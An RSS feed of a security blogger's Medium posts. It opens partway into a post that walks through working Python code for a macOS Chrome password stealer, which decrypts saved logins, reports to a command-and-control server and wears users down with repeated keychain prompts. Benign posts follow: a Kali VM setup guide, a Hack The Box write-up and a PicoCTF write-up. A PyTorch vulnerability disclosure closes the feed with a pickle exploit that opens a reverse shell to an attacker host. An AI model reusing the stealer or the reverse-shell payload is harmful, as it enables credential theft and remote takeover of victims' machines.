██║██╔══██╗██╔═══██╗████╗ ████║██╔════╝<br>██║     ███████║██████╔╝██║   ██║██╔████╔██║█████╗<br>██║     ██╔══██║██╔══██╗██║   ██║██║╚██╔╝██║██╔══╝<br>╚██████╗██║  ██║██║  ██║╚██████╔╝██║ ╚═╝ ██║███████╗<br> ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝<br><br>██╗  ██╗ █████╗ ██████╗ ██╗   ██╗███████╗███████╗████████╗███████╗██████╗<br>██║  ██║██╔══██╗██╔══██╗██║   ██║██╔════╝██╔════╝╚══██╔══╝██╔════╝██╔══██╗<br>███████║███████║██████╔╝██║   ██║█████╗  ███████╗   ██║   █████╗  ██████╔╝<br>██╔══██║██╔══██║██╔══██╗╚██╗ ██╔╝██╔══╝  ╚════██║   ██║   ██╔══╝  ██╔══██╗<br>██║  ██║██║  ██║██║  ██║ ╚████╔╝ ███████╗███████║   ██║   ███████╗██║  ██║<br>╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝  ╚═══╝  ╚══════╝╚══════╝   ╚═╝   ╚══════╝╚═╝  ╚═╝<br><br>Author: The Kernel Panic</pre><h4>Extracting the Login Data</h4><p>The Login Data file contains encrypted passwords in an SQLite3 database format. We will extract it from its usual location and, in case of an error, send the error to the C2 and exit quietly.</p><pre># Get the paths of Chrome&#39;s Login Data file<br>def get_chrome_encrypted_passwords():<br>    try:<br>        paths = glob.glob(f&quot;{os.path.expanduser(&#39;~&#39;)}/Library/Application Support/Google/Chrome/Profile*/Login Data&quot;)<br>        if not paths:<br>            paths = glob.glob(f&quot;{os.path.expanduser(&#39;~&#39;)}/Library/Application Support/Google/Chrome/Default/Login Data&quot;)<br>        return paths<br>    except Exception as e:<br>        send_error_to_server(f&quot;Error getting Chrome Login Data paths: {str(e)}&quot;, C2_URL) # Send Errors to C2<br>        return []  # Return empty list if error occurs, silently</pre><h4>Accessing the Safe Storage Key</h4><p>Retrieve the Safe Storage Key from the macOS Keychain using the security tool. In newer versions of macOS, the user will be prompted for a password. To bypass this, we will continuously retry every 5 seconds, wearing the user down and encouraging them to grant us access. This is a social engineering technique known as prompt fatigue.</p><pre>import subprocess<br><br># Get Chrome&#39;s Encryption Key from macOS Keychain<br>def get_chrome_storage_key():<br>    while True:<br>        try:<br>            key = (<br>                subprocess.check_output(&quot;security 2&gt;&amp;1 &gt; /dev/null find-generic-password -ga &#39;Chrome&#39; | awk &#39;{print $2}&#39;&quot;, shell=True)<br>                .strip()<br>                .replace(b&quot;\&quot;&quot;, b&quot;&quot;)<br>            )<br>            if not key:<br>                raise ValueError(&quot;Chrome Safe Storage Key not found.&quot;)<br>            return key<br>        except Exception as e:<br>            send_error_to_server(f&quot;Error getting Chrome Safe Storage Key: {str(e)}&quot;, C2_URL)<br>            time.sleep(5)  # If user clicks &#39;Deny&#39;, keep retrying every 5 seconds</pre><h4>Decrypting Passwords</h4><p>Decrypt the Chrome Safe Storage Key and then use it to decrypt all the passwords stored in the Login Data Sqlite3 DB file.</p><pre>import sqlite3<br>import binascii<br><br># Decrypt the Chrome Encryption Key<br>def decrypt_chrome_key(encrypted_value, iv, key=None):<br>    try:<br>        hex_key = binascii.hexlify(key).decode(&#39;utf-8&#39;)<br>        hex_enc_password = base64.b64encode(encrypted_value[3:]).decode(&#39;utf-8&#39;)<br>        decrypted = subprocess.check_output(<br>            f&quot;openssl enc -base64 -d -aes-128-cbc -iv &#39;{iv}&#39; -K {hex_key} &lt;&lt;&lt; {hex_enc_password} 2&gt;/dev/null&quot;, shell=True<br>        )<br>        return decrypted<br>    except Exception as e:<br>        send_error_to_server(f&quot;Error decrypting password: {str(e)}&quot;, C2_URL)<br>        return &quot;&lt;Unable to decrypt&gt;&quot;<br><br># Decrypt the passwords from the Login Data file<br>def decrypt_passwords(safe_storage_key, login_data):<br>    iv = &quot;20&quot; * 16<br>    key = hashlib.pbkdf2_hmac(&#39;sha1&#39;, safe_storage_key, b&#39;saltysalt&#39;, 1003)[:16]<br>    decrypted_entries = []<br>    try:<br>        fd = os.open(login_data, os.O_RDONLY)<br>        database = sqlite3.connect(f&#39;/dev/fd/{fd}&#39;)<br>        os.close(fd)<br>        sql = &#39;SELECT username_value, password_value, origin_url FROM logins WHERE username_value != &quot;&quot;&#39;<br>        with database:<br>            for user, encrypted_password, url in database.execute(sql):<br>                if encrypted_password[:3] == b&#39;v10&#39;:<br>                    decrypted_entries.append((url, user, decrypt_chrome_key(encrypted_password, iv, key=key)))<br>    except Exception as e:<br>        send_error_to_server(f&quot;Error decrypting passwords from database: {str(e)}&quot;, C2_URL)<br>    return decrypted_entries</pre><p>The decrypted passwords will be sent to the Command and Control Server (C2)!</p><h3>Conclusion</h3><p>This project taught me a great deal about how Chrome stores and protects passwords, how these protections can be bypassed, and the dangers of social engineering techniques like prompt fatigue. I hope you learned something new too.</p><p>Thank you for reading my blog, and Happy Coding!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26513e1cdc3a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Step-by-Step Guide to Creating a Kali Linux VM in VMware Fusion (2025)]]></title>
            <link>https://medium.com/@piyushbhor22/step-by-step-guide-to-creating-a-kali-linux-vm-in-vmware-fusion-2025-784683ea3925?source=rss-566b266bea27------2</link>
            <guid isPermaLink="false">https://medium.com/p/784683ea3925</guid>
            <category><![CDATA[vmware-fusion]]></category>
            <category><![CDATA[installation-guide]]></category>
            <category><![CDATA[2025]]></category>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[Pi - The Kernel Panic]]></dc:creator>
            <pubDate>Sat, 11 Jan 2025 06:19:21 GMT</pubDate>
            <atom:updated>2025-01-11T06:19:21.606Z</atom:updated>
            <content:encoded><![CDATA[<p>Updated Instructions for Setting Up a Kali Virtual Machine on macOS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*R6nN2ucIICMdrNdPS3PTOQ.jpeg" /><figcaption>VMware Fusion Pro 13</figcaption></figure><h4>Introduction</h4><p>The process of installing VMware Fusion and creating a Kali VM in VMware Fusion has changed in recent years. This guide provides updated instructions for 2025 to help you set up a Kali Linux virtual machine on macOS.</p><h4>Step 1 — Download and Install VMware Fusion Pro</h4><p>VMware is now owned by Broadcom and has been made free to use. To download VMware Fusion Pro, follow these steps:</p><ul><li>Visit the VMware Fusion Pro download page: <a href="https://www.vmware.com/products/desktop-hypervisor/workstation-and-fusion">VMware Desktop Hypervisor</a>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_QD8Sf1TjYaN4vDBznilfg.png" /><figcaption>VMware.com</figcaption></figure><ul><li>Click on <strong>“VMware Fusion Pro for Mac.”</strong> This redirects you to Broadcom’s website.</li><li>Create a free account on Broadcom’s site if you don’t already have one, and log in.</li><li>Once logged in, click the <strong>“Download Now”</strong> link to go to your <strong>My Downloads</strong> page.</li><li>Scroll down to locate <strong>VMware Fusion</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sBL3SRqXP9lEzhr0BvQf9A.png" /><figcaption>Broadcom.com</figcaption></figure><ul><li>Select <strong>VMware Fusion 13</strong> and download the latest release (at the time of writing, the version is 13.6.2).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0LsclkZo_sEu491wig02KA.png" /><figcaption>VMware Fusion 13 — Release 13.6.2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4N8qlWMnaI_MxWPR-RmUGA.png" /><figcaption>VMware Fusion Download Link</figcaption></figure><ul><li>After downloading, unzip the file and double-click to install VMware Fusion on your macOS system.</li></ul><h4>Step 2 — Download Kali Linux</h4><ul><li>Go to the official Kali Linux website: <a href="https://www.kali.org/get-kali/#kali-virtual-machines">Kali Virtual Machines</a>.</li><li>For this tutorial, I will use the pre-built Kali VM image provided by Offensive Security. This saves time compared to installing from an ISO.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dlkNTdOOjW5j3sE0Y_DtEQ.png" /><figcaption>Kali Linux Pre-built VMs</figcaption></figure><h4>Step 3 — Create a Kali Linux VM on VMware Fusion Pro</h4><ul><li>Open VMware Fusion and select <strong>“Create a custom virtual machine”</strong> as the installation method.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fJn3tHgFSMxGsOtbxEDDsw.png" /><figcaption>Select the Installation Model</figcaption></figure><ul><li>When prompted to choose the operating system, select <strong>Linux</strong> and then <strong>Debian 12.x 64-bit</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-NajHFeA0dzAzyImyHgkAg.png" /><figcaption>Choose Operating System</figcaption></figure><ul><li>Select the firmware type as <strong>Legacy BIOS</strong> (recommended for compatibility).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lflYo841DNZBxSiWv6zkbQ.png" /><figcaption>Choose Firmware Type</figcaption></figure><ul><li>For the virtual disk, select the Kali VM pre-built image you downloaded in Step 2.</li><li>Once done, your Kali Linux VM is ready to use!</li></ul><h4>Conclusion</h4><p>I hope this article helped you! If you have any questions or run into issues, feel free to leave a comment below, and I’ll get back to you as soon as possible.</p><p>Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=784683ea3925" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Low Logic]]></title>
            <link>https://medium.com/@piyushbhor22/hack-the-box-low-logic-929ab7d9bfd0?source=rss-566b266bea27------2</link>
            <guid isPermaLink="false">https://medium.com/p/929ab7d9bfd0</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hardware-hacking]]></category>
            <category><![CDATA[low-level-design]]></category>
            <category><![CDATA[hackthebox-challenge]]></category>
            <category><![CDATA[logic-gates]]></category>
            <dc:creator><![CDATA[Pi - The Kernel Panic]]></dc:creator>
            <pubDate>Sat, 28 Dec 2024 09:06:01 GMT</pubDate>
            <atom:updated>2024-12-28T09:06:01.811Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box — Low Logic</h3><p>Solution to Hack The Box Hardware Challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wqfg5nS0sIGaylRr7FX3Sg.png" /><figcaption>Low Logic has been Pwned!</figcaption></figure><h3>Introduction</h3><p>In this challenge, our goal is to analyze the chip diagram (chip.jpg) and predict the output based on inputs from input.csv.</p><h3>Solution</h3><p>First, let’s take a look at the chip diagram:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*3N2UgqzcdT88K17kBqnghA.jpeg" /><figcaption>chip.jpg</figcaption></figure><h4>Understanding the Diagram</h4><p>The diagram shows that the chip takes four<strong> </strong>inputs labelled at the top as IN0, IN1, IN2, and IN3. These inputs are passed through a series of resistors and <a href="https://www.electronics-tutorials.ws/transistor/tran_1.html"><strong>NPN BJTs</strong></a> (Bipolar Junction Transistors), which ultimately produce the output OUT0.</p><p>The transistors in this circuit are used to create <strong>logic gates</strong>. For anyone interested in learning more about logic gates and transistors, I recommend this article: <a href="https://www.101computing.net/creating-logic-gates-using-transistors/">https://www.101computing.net/creating-logic-gates-using-transistors/</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TCWWqdLkULBBUDxQUCvLFg.png" /><figcaption>AND Gate</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W_dZT4h5DsPXFH7jbHn8iQ.png" /><figcaption>OR Gate</figcaption></figure><p>From the diagram, we see that the circuit consists of:</p><ul><li><strong>Two AND gates</strong></li><li><strong>One OR gate</strong></li></ul><p>We can now simplify our circuit diagram like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TJxUalZ5jDk06VDW5LI6LA.png" /><figcaption>Simplified circuit diagram</figcaption></figure><h4>Generating the Output</h4><p>With the simplified diagram in mind, we can now process the input values from input.csv to generate the output.</p><p>To save time, I wrote a small Python script that:</p><ol><li>Reads the input values.</li><li>Performs <strong>AND operations</strong> on pairs of inputs (IN0 &amp; IN1 and IN2 &amp; IN3).</li><li>Combines the results using an <strong>OR operation</strong> to produce the final output.</li></ol><p>Here’s the script:</p><pre>import csv<br><br>def process_logic_operations(input_file):<br><br>  results = []<br>  <br>  # Open input.csv<br>  with open(input_file, mode=&#39;r&#39;) as infile:<br>    csvreader = csv.reader(infile)<br>    next(csvreader)<br><br>    # Read input from input.csv<br>    for row in csvreader:<br>        input1 = int(row[0])<br>        input2 = int(row[1])<br>        input3 = int(row[2])<br>        input4 = int(row[3])<br><br>        and_output1 = input1 &amp; input2 # First AND operation<br>        and_output2 = input3 &amp; input4 # Second AND operation<br><br>        final_output = and_output1 | and_output2 # Final OR operation<br><br>        results.append(str(final_output))<br>    <br>    return &#39;&#39;.join(results)<br><br>input_file = &#39;input.csv&#39;<br>output = process_logic_operations(input_file)<br><br>print(output)<br>  </pre><h4>Output Extraction</h4><p>After running the script, we get the following binary output:</p><pre>010010000101010001000010011110110011010001011111010001110011000000110000011001000101111101000011011011010011000000110101010111110011001101111000001101000110110101110000011011000011001101111101</pre><p>We can use <a href="https://gchq.github.io/CyberChef">Cyber Chef</a> to convert this binary data to ASCII and get the flag: <strong>HTB{4_G00d_Cm05_3x4mpl3}</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XKn0kVPEx1WYblTzvHNlwA.png" /><figcaption>Cyber Chef</figcaption></figure><h3>Conclusion</h3><p>This was a fun challenge, and I will be posting more Hardware and Reverse Engineering challenges from Hack The Box in the future. Stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=929ab7d9bfd0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF — Bloat.py]]></title>
            <link>https://medium.com/@piyushbhor22/picoctf-bloat-py-bf2186a595e7?source=rss-566b266bea27------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf2186a595e7</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[picoctf-2022]]></category>
            <category><![CDATA[picoctf]]></category>
            <dc:creator><![CDATA[Pi - The Kernel Panic]]></dc:creator>
            <pubDate>Wed, 11 Dec 2024 06:37:05 GMT</pubDate>
            <atom:updated>2024-12-11T06:37:05.640Z</atom:updated>
            <content:encoded><![CDATA[<h3>PicoCTF — Bloat.py</h3><p>Solution to PicoCTF Reverse Engineering Challenge — Bloat.py</p><figure><img alt="PicoCTF logo" src="https://cdn-images-1.medium.com/max/1024/1*M7g_jCxDEabX8aZUsSjbog.jpeg" /><figcaption>PicoCTF logo</figcaption></figure><h3>Introduction</h3><p>This challenge is rated Medium, but in my opinion, it is an easy one, and you don’t actually need to deobfuscate the entire Python code to solve it.</p><p>When we run the program, it asks us for a password. If we input the correct password, the program decrypts the flag and displays it. Our goal in this challenge is to deobfuscate the Python script and find the password in it.</p><h3>Solution</h3><p>In this code, all string characters are represented as char[i]. To make the code more readable, I wrote a small Python script to create a reference table that maps indices to characters. Here&#39;s the script:</p><pre>chars = &quot;!\&quot;#$%&amp;&#39;()*+,-./0123456789:;&lt;=&gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;+ \<br>            &quot;[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ &quot;<br>            <br>i = 0<br>for c in chars:<br>    print(str(i) + &quot; : &quot; + c)<br>    i += 1 </pre><p>This generates a handy reference table like this:</p><pre>0 : !<br>1 : &quot;<br>2 : #<br>3 : $<br>4 : %<br>5 : &amp;<br>6 : &#39;<br>7 : (<br>8 : )<br>9 : *<br>10 : +<br>11 : ,<br>12 : -<br>13 : .<br>14 : /<br>15 : 0<br>16 : 1<br>17 : 2<br>18 : 3<br>19 : 4<br>20 : 5<br>21 : 6<br>22 : 7<br>23 : 8<br>24 : 9<br>25 : :<br>26 : ;<br>27 : &lt;<br>28 : =<br>29 : &gt;<br>30 : ?<br>31 : @<br>32 : A<br>33 : B<br>34 : C<br>35 : D<br>36 : E<br>37 : F<br>38 : G<br>39 : H<br>40 : I<br>41 : J<br>42 : K<br>43 : L<br>44 : M<br>45 : N<br>46 : O<br>47 : P<br>48 : Q<br>49 : R<br>50 : S<br>51 : T<br>52 : U<br>53 : V<br>54 : W<br>55 : X<br>56 : Y<br>57 : Z<br>58 : [<br>59 : \<br>60 : ]<br>61 : ^<br>62 : _<br>63 : `<br>64 : a<br>65 : b<br>66 : c<br>67 : d<br>68 : e<br>69 : f<br>70 : g<br>71 : h<br>72 : i<br>73 : j<br>74 : k<br>75 : l<br>76 : m<br>77 : n<br>78 : o<br>79 : p<br>80 : q<br>81 : r<br>82 : s<br>83 : t<br>84 : u<br>85 : v<br>86 : w<br>87 : x<br>88 : y<br>89 : z<br>90 : {<br>91 : |<br>92 : }<br>93 : ~<br>94 :  <br></pre><p>I’m sure there are better ways to do this, but I’m lazy. I started decoding the strings, starting with the first function arg133 :</p><pre>def arg133(arg432):<br>  if arg432 == a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]:<br>    return True<br>  else:<br>    print(a[51]+a[71]+a[64]+a[83]+a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+\<br>a[81]+a[67]+a[94]+a[72]+a[82]+a[94]+a[72]+a[77]+a[66]+a[78]+a[81]+\<br>a[81]+a[68]+a[66]+a[83])<br>    sys.exit(0)<br>    return False</pre><p>And jackpot! The first variable arg432 is happychance . This is our password. When we supply it to the program, we get our flag: picoCTF{d30bfu5c4710n_f7w_5e14b257}.</p><figure><img alt="A terminal window with the words: pb@Macbook pico % python bloat.flag.py Please enter correct password for flag: happychance Welcome back… your flag, user: picoCTF{d30bfu5c4710n_f7w_5e14b257} pb@Macbook pico %" src="https://cdn-images-1.medium.com/max/1024/1*EAu34Thzvcs5JoKUM8gMVw.png" /><figcaption>PicoCTF Flag</figcaption></figure><h3>Extra Homework</h3><p>Even though I got the flag, I still wanted to deobfuscate the rest of the code, so here it is:</p><pre>import sys<br><br>chars = &quot;!\&quot;#$%&amp;&#39;()*+,-./0123456789:;&lt;=&gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;+ \<br>            &quot;[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ &quot;<br><br>def check_password(user_input):<br>  if user_input == &quot;happychance&quot;:<br>    return True<br>  else:<br>    print(&quot;That password is incorrect&quot;)<br>    sys.exit(0)<br>    return False<br><br>def return_flag(encrypted_flag):<br>  return decrypt_flag(encrypted_flag.decode(), &quot;rapscallion&quot;)<br><br>def ask_password():<br>  return input(&quot;Please enter correct password for flag:&quot;)<br><br>def read_encrypted_flag():<br>  return open(&#39;flag.txt.enc&#39;, &#39;rb&#39;).read()<br><br>def success_msg():<br>  print(&quot;Welcome back... your flag, user:&quot;)<br><br>def decrypt_flag(decoded_flag, key):<br>    extended_key = key<br>    i = 0<br>    while len(extended_key) &lt; len(decoded_flag):<br>        extended_key += key[i]<br>        i = (i + 1) % len(key)<br>    return &quot;&quot;.join([chr(ord(char_input) ^ ord(char_key)) for (char_input, char_key) in zip(user_input, extended_key)])<br><br>encrypted_flag = read_encrypted_flag()<br><br>user_input = ask_password()<br><br>check_password(user_input)<br><br>success_msg()<br><br>flag = return_flag(encrypted_flag)<br><br>print(flag)<br><br>sys.exit(0)</pre><h3>Conclusion</h3><p>I had fun solving this challenge. If you are someone who has just started reverse engineering, my advice is to focus on the larger functionality of a function or program. Focus on the bigger picture, and you will be able to analyze code faster and avoid falling into rabbit holes.</p><p>Thank you for reading my blog!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf2186a595e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Dark Side of AI: Inside PyTorch’s Unpatched Vulnerabilities]]></title>
            <link>https://medium.com/@piyushbhor22/the-dark-side-of-ai-inside-pytorchs-unpatched-vulnerabilities-0d8ce74fc9b5?source=rss-566b266bea27------2</link>
            <guid isPermaLink="false">https://medium.com/p/0d8ce74fc9b5</guid>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[pytorch]]></category>
            <category><![CDATA[zero-day]]></category>
            <category><![CDATA[exploits-zero-day]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Pi - The Kernel Panic]]></dc:creator>
            <pubDate>Sun, 08 Dec 2024 08:11:51 GMT</pubDate>
            <atom:updated>2024-12-08T08:11:51.426Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8dqk70phv_GL-vEPgOevPA.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@ngeshlew?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Lewis Kang’ethe Ngugi</a> on <a href="https://unsplash.com/photos/black-laptop-computer-turned-on-f5pTwLHCsAg?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash</a></figcaption></figure><h3>Introduction</h3><p>In this blog post, I want to share some of the zero-days I found in Pytorch that Pytorch has refused to patch. I want my fellow developers and anyone else who uses Pytorch to remain safe, so I have decided to disclose them publicly on this blog.</p><h3>PyTorch — CUDA Code Execution Vulnerability</h3><p>Pytorch contains a script pytorch/torch/cuda/_memory_viz.py that allows users to analyze a CUDA memory dump file. However, it uses pickle.load to load this file and is a classic example of <a href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html">unsafe deserialization.</a></p><p>If you were to download a malicious CUDA memory dump file, attempting to analyze it using Pytorch would allow an attacker to execute code on your system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wf2iUQ-PYIx1UZfAsjJREg.png" /><figcaption>The Vulnerable Code: pytorch/torch/cuda/_memory_viz.py</figcaption></figure><h4>The Exploit</h4><p>Here is a simple Python code exploit.py that creates a malicious pickle file malicious.pkl that will create a reverse shell on the victim’s system when deserialized:</p><pre># exploit.py<br><br>import pickle  <br>import os   <br>  <br>class Exploit:  <br>    def __reduce__(self):  <br>        return (os.system, (&#39;bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0&gt;&amp;1&#39;,))  # Change the ATTACKER_IP and ATTACKER_PORT<br>  <br>malicious_data = pickle.dumps(Exploit())  <br>with open(&#39;malicious.pkl&#39;, &#39;wb&#39;) as f: <br>    f.write(malicious_data)  <br>  <br>print(&quot;Malicious pickle file created successfully.&quot;)</pre><p>When your victim downloads this malicious.pkl file assuming it&#39;s a CUDA memory dump file, you get a shell.</p><pre>python _memory_viz.py segment_plot malicious.pkl</pre><blockquote>Note: The script accepts severn arguments — segment_plot, segments, memory, stats, trace, compare, and trace_plot. This exploit works with all seven.</blockquote><h3>PyTorch — Flight Recorder Code Execution Vulnerability</h3><p>This vulnerability is very similar to the previous one. PyTorch includes a script that allows users to analyze flight recorder trace files. Once again, it uses pickle.load to process these files.</p><p>If a user attempts to analyze malicious third-party trace files, the script could enable an attacker to execute arbitrary code on their system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aw-hslE_gNYfi6d1r7hTvw.png" /><figcaption>The Vulnerable Code: pytorch/tools/flight_recorder/components/loader.py</figcaption></figure><h4>The Exploit</h4><p>We can use the same exploit as before to create our malicious.pkl file:</p><pre># exploit.py<br><br>import pickle  <br>import os   <br>  <br>class Exploit:  <br>    def __reduce__(self):  <br>        return (os.system, (&#39;bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0&gt;&amp;1&#39;,))  # Change the ATTACKER_IP and ATTACKER_PORT<br>  <br>malicious_data = pickle.dumps(Exploit())  <br>with open(&#39;malicious.pkl&#39;, &#39;wb&#39;) as f: <br>    f.write(malicious_data)  <br>  <br>print(&quot;Malicious pickle file created successfully.&quot;)</pre><p>However, this time, for the exploit to work, we need to rename our .pkl file to “data_1” and add it to a directory “malicious_trace_files.” This is because flight_recorderexpects a directory that contains files that share a common prefix followed by a numeric suffix.</p><ul><li>Example file names: data_0, data_1, data_2, etc.</li></ul><pre>python -m tools.flight_recorder.fr_trace malicious_trace_files --prefix &quot;data_&quot;</pre><h3>Conclusion</h3><p>PyTorch is riddled with Pickles, and they’ve put the burden of security on the users. PyTorch isn’t just used by developers anymore — people who understand that .pkl files are code. With the boom in AI and Machine Learning, scientists from all kinds of fields are using these tools. In my opinion, it’s PyTorch’s job to make sure their code is safe, especially when there are so many safer alternatives to pickle out there.</p><p>Thank you for reading my blog. Stay safe and happy hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0d8ce74fc9b5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>